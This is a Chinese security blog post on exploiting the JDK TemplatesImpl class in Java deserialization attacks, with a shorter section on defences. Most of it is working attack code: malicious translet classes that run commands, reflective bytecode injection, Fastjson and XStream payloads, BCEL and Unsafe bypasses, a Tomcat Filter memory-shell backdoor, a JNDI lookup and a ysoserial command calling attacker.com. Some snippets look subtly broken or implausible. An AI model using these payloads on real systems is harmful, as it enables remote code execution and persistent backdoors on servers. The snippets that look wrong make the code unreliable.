Java TemplatesImpl的深度利用技巧

2025-03-27 4 0

一、核心原理

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是 JDK 内置的 XSLT 处理器类,其defineTransletClasses()方法允许加载自定义字节码。攻击者通过反序列化构造特殊对象,触发恶意类加载和执行。

核心方法调用链

TemplatesImpl.newTransformer() 
  → getTransletInstance() 
    → defineTransletClasses() 
      → ClassLoader.defineClass() // 加载恶意字节码

二、基础利用案例

1. 手动构造攻击链
// 生成恶意字节码(示例弹出计算器)
public class EvilTemplate extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) { /* 异常处理 */ }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

// 编译并获取字节码
byte[] evilCode = Files.readAllBytes(Paths.get("EvilTemplate.class"));
2. 反射注入字节码
TemplatesImpl templates = TemplatesImpl.newInstance();

// 使用反射设置关键字段
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", new TransformerFactoryImpl());

// 触发类加载
templates.newTransformer();

反射工具方法

void setField(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

三、绕过技巧

1. JDK 高版本适配(JDK 8u71+)

绕过 JDK 高版本限制

  • 问题:JDK 8u71+ 修复了AnnotationInvocationHandler的漏洞入口,传统 CC 链失效。

  • 解决方案

    • 使用TemplatesImpl直接加载字节码:通过构造_bytecodes字段的恶意类,直接触发defineTransletClasses,无需依赖其他链式调用。

    • 结合 BCEL 编码:通过 BCEL(Apache Commons BCEL)将恶意类编码为字符串形式,避免直接使用.class文件触发检测。

// 通过 BCEL 加载绕过类名检查
String bcelCode = "$$BCEL$$..."; // 生成的 BCEL 字节码
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);

// 构造特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});
2. 绕过 Fastjson 私有属性限制
  • 关键参数Feature.SupportNonPublicField

JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
  • 默认情况下,Fastjson 无法反序列化私有属性(如_bytecodes)。通过添加该参数,可强制反序列化私有字段:

  • 绕过_tfactory空指针
    设置_tfactory为空对象{},Fastjson 会调用其无参构造函数生成默认的TransformerFactoryImpl实例,避免因空指针导致流程终止。

四. 内存马注入

  1. Tomcat Filter 型内存马

public class MemShell extends AbstractTranslet {
static {
    WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext context = (StandardContext) classLoader.getResources().getContext();
    // 注入 Filter 配置
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(this.getClass().getName());
    context.addFilterDef(filterDef);
    // 添加 URL 映射
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("evilFilter");
    filterMap.addURLPattern("/*");
    context.addFilterMap(filterMap);
}
  • 实现逻辑
    在恶意类的静态代码块中,通过反射向当前 Tomcat 上下文注入自定义 Filter,实现持久化后门。

}
```

  1. Spring Controller 型内存马

    • 利用 Spring 动态注册机制
      通过反射修改RequestMappingHandlerMapping,注册恶意 Controller,拦截特定路径请求。

四、防御对抗艺术

1. 反序列化防护

白名单校验:使用ValidatingObjectInputStream限制反序列化的类:

// 安全的反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = 
        Set.of("java.lang.String", "java.util.HashMap");

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}
2. RASP 防护(运行时检测)
  • 监控defineClass调用:通过 Java Agent 拦截ClassLoader.defineClass,检测非法字节码加载行为。

    • Hook 关键方法:监控TemplatesImpl.newTransformer()getTransletInstance()的调用栈。

// 使用 Java Agent 检测 defineClass
public class ClassDefineMonitor {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, 
            protectionDomain, classfileBuffer) -> {
            if (className.contains("Evil")) {
                throw new SecurityException("Detected malicious class: " + className);
            }
            return classfileBuffer;
        }, true);
    }
}

六、混合利用技巧

1. 结合 JNDI 注入

当目标环境存在 JNDI 注入漏洞(如 Log4j2)时,通过TemplatesImpl触发远程类加载,绕过本地字节码检测,直接加载远程恶意类

// 生成包含 JNDI 触发的字节码
public class JNDILoader extends AbstractTranslet {
    static {
        try {
            new InitialContext().lookup("ldap://attacker.com/Exploit");
        } catch (NamingException e) { /* 异常处理 */ }
    }
}

// 构造嵌套攻击链
Transformer[] chain = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
2. 结合 Fastjson 漏洞
// Fastjson 反序列化载荷
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["BASE64_ENCODED_BYTECODE"],
  "_name": "Exploit",
  "_tfactory": {},
  "_outputProperties": {}
}
3. Fastjson + TemplatesImpl + Groovy 链
  • 利用 Groovy 的MethodClosure
    通过 Groovy 闭包触发命令执行,结合TemplatesImpl加载恶意字节码,形成多链组合攻击:

Transformer[] groovyChain = new Transformer[]{
    new ConstantTransformer(new MethodClosure("calc", "execute")),
    new InvokerTransformer("call", null, null)
};

七、实战检测命令

  1. 字节码生成工具

    • Javassist/ASM:动态构造符合AbstractTranslet规范的恶意类。

    • Ysoserial 扩展:自定义 Gadget 链生成TemplatesImpl专用 Payload。

  2. 漏洞检测脚本

    • 基于堆内存分析:通过jmapjhat分析内存中的恶意类实例。

    • 流量特征检测:监控 Fastjson 请求中是否包含_bytecodes@type关键字。

# 使用 ysoserial 生成 TemplatesImpl payload
java -jar ysoserial.jar Jdk7u21 "curl http://attacker.com" > payload.bin

# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize

# 内存马检测命令
jmap -dump:live,format=b,file=heapdump.bin <pid>
jhat heapdump.bin # 分析堆中的恶意 Filter

关键审计点与防御建议

代码审计关注点

// 危险模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField) 

// 敏感调用
ClassLoader.defineClass()
TemplatesImpl.newTransformer()

防御策略

  1. 升级至 JDK 8u191+(限制defineClass的使用)

  2. 使用SerialKiller等安全反序列化库

  3. 开启 SecurityManager 并配置严格策略

  4. 监控defineClassnewTransformer的调用

总结与演进方向

  • 演进趋势:从单一链式利用向多漏洞链组合发展(如 JNDI + TemplatesImpl)。

  • 防御重点:强化字节码加载监控、禁用非必要反射操作、严格校验反序列化输入。

  • 工具推荐

    • 检测:CodeQL 定制规则分析defineClass调用路径。

    • 防护:OpenRASP 或 Contrast Security 实现运行时保护。

TemplatesImpl 的高级利用技巧

一、利用TemplatesImpl结合 JNDI 注入进阶版

虽然TemplatesImpl本身不依赖 JNDI,但可以通过组合漏洞链实现更复杂的攻击。例如,利用TemplatesImpl加载的恶意类触发 JNDI 远程类加载:

代码案例

public class JNDILoader extends AbstractTranslet {
    static {
        try {
            new InitialContext().lookup("ldap://attacker.com/Exploit");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

// 生成字节码并注入到 TemplatesImpl 中
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "JNDILoader");
setField(templates, "_tfactory", new TransformerFactoryImpl());

// 结合 Fastjson 触发
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_bytecodes\":[\"" + base64EncodedCode + "\"]," +
                "\"_outputProperties\":{}}";
JSON.parseObject(payload, Feature.SupportNonPublicField);

技巧:通过TemplatesImpl加载的类触发 JNDI 查询,绕过直接依赖反序列化链的限制。

二、利用 BCEL 字节码绕过类名检测

某些环境下对TemplatesImpl的类名黑名单有过滤,可通过 BCEL 格式的字节码绕过类名校验:

代码案例

// 生成 BCEL 格式字节码
String bcelCode = "$$BCEL$$..."; 
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);

// 设置特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});

技巧:BCEL 编码的字节码可在某些场景下绕过类名检查,结合TemplatesImpl的加载机制实现绕过。

三、结合动态代理绕过方法调用限制

利用动态代理触发TemplatesImplnewTransformer方法,绕过直接调用检测:

代码案例

InvocationHandler handler = (proxy, method, args) -> {
    if (method.getName().equals("getOutputProperties")) {
        return templates.newTransformer();
    }
    return null;
};

Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler
);

// 通过代理对象触发
proxyMap.get("outputProperties");

技巧:通过动态代理间接调用getOutputProperties,避免直接触发敏感方法。

四、绕过 JDK 高版本限制(JDK 8u191+)

在 JDK 8u191+ 中,TemplatesImpl的类加载可能受限制,可通过以下方式绕过:

代码案例

// 使用 Unsafe 类强制修改访问权限
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

// 直接修改 TemplatesImpl 的 _class 字段
Field _classField = TemplatesImpl.class.getDeclaredField("_class");
long offset = unsafe.objectFieldOffset(_classField);
unsafe.putObject(templates, offset, new Class[]{EvilClass.class});

技巧:通过底层内存操作绕过访问控制,强制加载恶意类。

五、结合其他反序列化框架(如 XStream)

在 XStream 中利用TemplatesImpl加载恶意类:

代码案例

<map>
  <entry>
    <string>@type</string>
    <string>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</string>
  </entry>
  <entry>
    <string>_bytecodes</string>
    <string>BASE64_ENCODED_BYTECODE</string>
  </entry>
  <entry>
    <string>_outputProperties</string>
    <map/>
  </entry>
</map>

技巧:通过构造 XML Payload 触发 XStream 的反序列化漏洞,结合TemplatesImpl执行命令。

总结与防御建议

  1. 检测关键方法调用:监控defineClassnewTransformer的调用行为。

  2. 黑名单增强:扩展对TemplatesImpl及其相关类的黑名单检测。

  3. 运行时防护(RASP):通过字节码插桩拦截恶意类加载行为。

  4. 升级依赖库:使用 Fastjson 1.2.83+ 并启用safeMode,或迁移至 Jackson。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

结合无问AI盲注RCE
Java代码审计的技巧
Java代码审计的手法和高级审计工具链
Java LazyMap的深度利用技巧
Java漏洞在黑盒实战中的技巧——Error Based XXE篇
【THM】offensive-Vulnversity

发布评论